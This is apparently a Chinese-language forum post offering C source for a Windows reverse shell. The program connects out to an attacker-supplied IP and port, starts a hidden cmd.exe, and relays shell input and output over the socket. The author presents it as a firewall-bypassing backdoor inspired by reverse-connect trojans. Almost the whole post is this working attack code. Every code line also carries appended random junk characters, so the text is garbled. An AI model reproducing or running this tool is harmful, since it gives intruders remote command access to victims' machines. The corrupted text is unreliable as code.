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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CV%AqJN  
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/* ============================== B#RwW,  
Rebound port in Windows NT j(4BMk  
By wind,2006/7 <aJdm!6  
===============================*/ T4,dhS|  
#include 0 1U/{D6D  
#include }eUeADbC  
\}SA{)  
#pragma comment(lib,"wsock32.lib") 8)IpQG  
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void OutputShell(); uK6`3lCD  
SOCKET sClient; +}H2|vP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lub(chCE[  
} %_h|N  
void main(int argc,char **argv) RIBj9kd  
{ $\kqh$")  
WSADATA stWsaData; u_[^gS7  
int nRet; W99MA5P  
SOCKADDR_IN stSaiClient,stSaiServer; G8%Q$  
a+!#cQl  
if(argc != 3) x/*ndH  
{ 4.)hCb  
printf("Useage:\n\rRebound DestIP DestPort\n"); +b_g,RNs!  
return; 7=yC*]BH-=  
} Q2sX7 cE  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?;!d5Xuu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  nN!/  
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stSaiClient.sin_family = AF_INET; P6,~0v(S  
stSaiClient.sin_port = htons(0); r|t ;#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t2Dx$vT*&  
et|QW;*L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Fy!u xT-\  
{ #g,JNJ}  
printf("Bind Socket Failed!\n"); `6:;*#jO,  
return; 40cgsRa|  
} t]?u<KD<  
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stSaiServer.sin_family = AF_INET; ]m} <0-0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jj^{^,z\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j+0=)Q%I=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o:E+c_^q`  
{ smEKQHB  
printf("Connect Error!"); `$j"nP F_  
return; u^H:z0  
} b|F_]i T  
OutputShell(); \DsP '-t  
} sM)qzO2wh  
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void OutputShell() G0p|44_~t  
{ iHy=92/Ww  
char szBuff[1024]; rblEyCR  
SECURITY_ATTRIBUTES stSecurityAttributes; &6%%_Lw$  
OSVERSIONINFO stOsversionInfo; ]$[J_f*x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UN{_f)E?  
STARTUPINFO stStartupInfo; <eRE;8C-  
char *szShell; p9]008C89  
PROCESS_INFORMATION stProcessInformation; 9Z}Y2:l'  
unsigned long lBytesRead; )G$/II9d  
n"YY:Gm;8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nbM[?=WS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GtcY){7  
stSecurityAttributes.lpSecurityDescriptor = 0; \Z0-o&;w  
stSecurityAttributes.bInheritHandle = TRUE; C.I.f9s?R  
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nb}*IExd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +*"u(7AV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); llVm[7  
E!.>*`)?.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nO^aZmSu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FoY_5/  
stStartupInfo.wShowWindow = SW_HIDE; {qO[93yg)/  
stStartupInfo.hStdInput = hReadPipe; f\CJ |tKX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L\d"|87lX  
H^ _[IkuA%  
GetVersionEx(&stOsversionInfo); LGx]z.30B  
_:oB#-0  
switch(stOsversionInfo.dwPlatformId) }3sj{:z{  
{ +4G]!tV6  
case 1: 8[  
szShell = "command.com"; 7UQFAt_r  
break; %00KOM:  
default: PveY8[i  
szShell = "cmd.exe"; -r%4,4  
break; c@d[HstBJ  
} A[QUFk(  
6Yw;@w\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cVjs-Xf7D%  
UH=pQm ^W  
send(sClient,szMsg,77,0); M0[7>N _  
while(1) }Z5f5q  
{ k<p$BZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ">='l9  
if(lBytesRead) MY>mP  
{ SV%;w>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HGqT"N Jr  
send(sClient,szBuff,lBytesRead,0); YTH3t] &  
} \9Nd"E[B  
else &2-dZK  
{  >-EJLa  
lBytesRead=recv(sClient,szBuff,1024,0); +3]1AJa  
if(lBytesRead<=0) break; R5M/Ho 4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $X1T!i[.X  
} ,l-tLc  
} kSJWXNC  
ZmSe>}B=  
return; G9'Wo.$ t  
}
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